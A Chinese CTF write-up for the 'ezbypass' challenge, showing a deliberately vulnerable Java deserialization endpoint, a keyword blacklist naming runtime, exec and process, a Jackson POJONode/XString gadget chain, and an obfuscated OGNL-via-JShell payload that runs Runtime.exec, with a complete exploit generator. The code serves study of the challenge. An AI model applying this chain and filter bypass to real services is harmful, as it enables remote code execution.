湖南省程序设计网络攻防线下赛ezbypass
1353680866795931 发表于 广东 历史精选 1434浏览 · 2024-10-20 10:00

上周湖南省程序设计大赛(网路攻防赛道)的一道题。反序列化的考点主要是就是jackson原生链以及ognl表达式注入。

pom.xml:

反序列化入口:

@Controller  
public class Backdoor {  
    @ResponseBody  
    @RequestMapping(value={"/bbbbbackd00r"})  
    public String backdoor(String data) throws IOException, ClassNotFoundException {  
        if (data == null) {  
            return "backdoor here";  
        }  
        byte[] decode = Base64.getDecoder().decode(data);  
        ByteArrayInputStream bis = new ByteArrayInputStream(decode);  
        ObjectInputStream ois = new ObjectInputStream(bis);  
        Object object = ois.readObject();  
        return object.toString();  
    }  
}

带有getter的类:

public class User  
implements Serializable {  
    private String name;  
    private String desc;  

    public User(String name, String desc) {  
        this.name = name;  
        this.desc = desc;  
    }  

    public Boolean filter() {  
//       String[] BlackList = new String[] {"$"};  
        String[] BlackList = new String[]{"\"", "'", "\\", "invoke", "getclass", "$", "{", "}", "runtime", "java", "script", "process", "start", "flag", "exec", "req", "new", "engine"};  
        String str = this.desc.toLowerCase();  
        for (String keyword : BlackList) {  
            if (!str.contains(keyword)) continue;  
            return true;  
        }  
        return false;  
    }  

    public String toString() {  
        return "User{name='" + this.name + "', desc='" + this.desc + "'}";  
    }  

    public String getResult() {  
        try {  
            if (!this.filter().booleanValue()) {  
                OgnlContext ognlContext = new OgnlContext();  
                return Ognl.getValue((String)this.desc, (Object)ognlContext).toString();  
            }  
            return "hacker!";  
        }  
        catch (OgnlException var2) {  
            System.out.println(var2);  
            return "fail";  
        }  
    }  
}

反序列化链

看到这个getter也猜到了是原生链,讲原生链的文章有很多,可以从各种toString来触发。这里就只贴一种的。链子也是学习自其他师傅。链接贴在文末了。
大致的调用链是

HashMap#putVal()-->AbstractMap#equal()-->Xstring#equal

这里HashMap加入值的时候会计算其hash是否相等,如果hash相等就会比较键和值

if (p.hash == hash &&  
    ((k = p.key) == key || (key != null && key.equals(k))))

如果我们构造的key是hashmap,而hashmap中没有equal方法,所有会去abstractmap中调用,而其中的equal会获取其中的键值来操作,从而调用值自己的equal方法同时将键作为参数传入,于是我们将这个键和值分别构造为POJONode和Xstring就可以调用到arraynode的toString了。

//AbstractMap#equal
public boolean equals(Object o) {  
    if (o == this)  
        return true;  

    if (!(o instanceof Map<?, ?> m))  
        return false;  
    if (m.size() != size())  
        return false;  

    try {  
        for (Entry<K, V> e : entrySet()) {  
            K key = e.getKey();  
            V value = e.getValue();  
            if (value == null) {  
                if (!(m.get(key) == null && m.containsKey(key)))  
                    return false;  
            } else {  
                if (!value.equals(m.get(key)))  
                    return false;  
            }  
        }  
    } catch (ClassCastException unused) {  
        return false;  
    } catch (NullPointerException unused) {  
        return false;  
    }  

    return true;  
}
//Xstring#equal
public boolean equals(Object obj2)  
{  

  if (null == obj2)  
    return false;  

    // In order to handle the 'all' semantics of  
    // nodeset comparisons, we always call the    // nodeset function.  else if (obj2 instanceof XNodeSet)  
    return obj2.equals(this);  
  else if(obj2 instanceof XNumber)  
      return obj2.equals(this);  
  else  
    return str().equals(obj2.toString());  
}

ognl表达式注入绕过

然后就是ognl表达式注入了。上网搜了一下当前版本并没有加黑名单检测,所以只需要绕过出题人写的过滤即可。

String[] BlackList = new String[]{"\"", "'", "\\", "invoke", "getclass", "$", "{", "}", "runtime", "java", "script", "process", "start", "flag", "exec", "req", "new", "engine"};

几乎所有的现成的poc都是打不通的,但是考虑到这里时jdk17肯定有猫腻,然后在网上翻翻找找,找到了一个jdk.jshell的包,当时脑抽忘记加@符号,以为不行,走了不少弯路。这里使用create函数和builder函数效果应该是差不多的。

@jdk.jshell.JShell@create().eval()

于是就有了任意代码执行了(没有过滤的情况下)剩下这部分就是jall了。虽然想到jail常用的方法是字符串拼接,但是当时不太熟悉,导致也是试了很久。
后面在测试的时候发现ognl其实是可以一次执行多个表达式的,虽然之前也看到过多个表达式的payload,但是也没想到在前一个表达式的函数中是可以执行表达式的。不过也只能体现我太菜了,这ognl表达式后面还得再深入学习下才行。
完整表达式如下:

@jdk.jshell.JShell@create().eval(@Character@toString(82) + @Character@toString(117) + @Character@toString(110) + @Character@toString(116) + @Character@toString(105) + @Character@toString(109) + @Character@toString(101) + @Character@toString(46)+@Character@toString(103) + @Character@toString(101) + @Character@toString(116) + @Character@toString(82) + @Character@toString(117) + @Character@toString(110) + @Character@toString(116) + @Character@toString(105) + @Character@toString(109) + @Character@toString(101) + @Character@toString(40)+@Character@toString(41) + @Character@toString(46) +@Character@toString(101) + @Character@toString(120) + @Character@toString(101) + @Character@toString(99) + @Character@toString(40) + @Character@toString(34) + @Character@toString(99) + @Character@toString(97) + @Character@toString(108) + @Character@toString(99) + @Character@toString(34) + @Character@toString(41))

完整exp如下

public class jackson {  
    public static void main(String args[]) throws Exception{  

        try {  
            ClassPool pool = ClassPool.getDefault();  
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");  
            jsonNode.removeMethod(writeReplace);  
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();  
            jsonNode.toClass(classLoader, null);  
        } catch (Exception e) {  
        }  

        User user =new User("ctf","@jdk.jshell.JShell@create().eval(@Character@toString(82) + @Character@toString(117) + @Character@toString(110) + @Character@toString(116) + @Character@toString(105) + @Character@toString(109) + @Character@toString(101) + @Character@toString(46)+@Character@toString(103) + @Character@toString(101) + @Character@toString(116) + @Character@toString(82) + @Character@toString(117) + @Character@toString(110) + @Character@toString(116) + @Character@toString(105) + @Character@toString(109) + @Character@toString(101) + @Character@toString(40)+@Character@toString(41) + @Character@toString(46) +@Character@toString(101) + @Character@toString(120) + @Character@toString(101) + @Character@toString(99) + @Character@toString(40) + @Character@toString(34) + @Character@toString(99) + @Character@toString(97) + @Character@toString(108) + @Character@toString(99) + @Character@toString(34) + @Character@toString(41))");  
        ObjectMapper objmapper = new ObjectMapper();  
        ArrayNode arrayNode =objmapper.createArrayNode();  
        arrayNode.addPOJO(user);  
        Object exp = getXstringMap(user);  
        base64Serialize(exp);  

    }  

    public static Object getXstringMap(Object obj) throws Exception  
    {;  
        POJONode node = new POJONode(obj);  

        XString xString = new XString("bypass");  

        HashMap<Object, Object> map1 = new HashMap<>();  
        HashMap<Object, Object> map2 = new HashMap<>();  
        map1.put("yy", node);  
        map1.put("zZ", xString);  
        map2.put("yy", xString);  
        map2.put("zZ", node);  
        Object o = makeMap(map1, map2);  

        return o;  
    }  

    public static HashMap makeMap(Object v1, Object v2) throws Exception  
    {  
        HashMap s = new HashMap();  
        setFieldValue(s, "size", 2);  
        Class nodeC;  
        try {  
            nodeC = Class.forName("java.util.HashMap$Node");  
        } catch (ClassNotFoundException e) {  
            nodeC = Class.forName("java.util.HashMap$Entry");  
        }  
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);  
        nodeCons.setAccessible(true);  

        Object tbl = Array.newInstance(nodeC, 2);  
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));  
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));  
        setFieldValue(s, "table", tbl);  
        return s;  
    }  

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception  
    {  
        Class<?> clazz = obj.getClass();  
        Field field = clazz.getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  

    public static String base64Serialize(Object obj) throws Exception  
    {  

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);  
        oos.writeObject(obj);  
        String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());  
        System.out.println(payload);  
        return payload;  
    }  

}

参考链接

Javolution 出题小记 | H4cking to the Gate .
http://www.mi1k7ea.com/2020/03/16/OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#OGNL%E7%AE%80%E4%BB%8B
常用java代码(trick)备忘录

2 条评论
某人
表情
可输入 255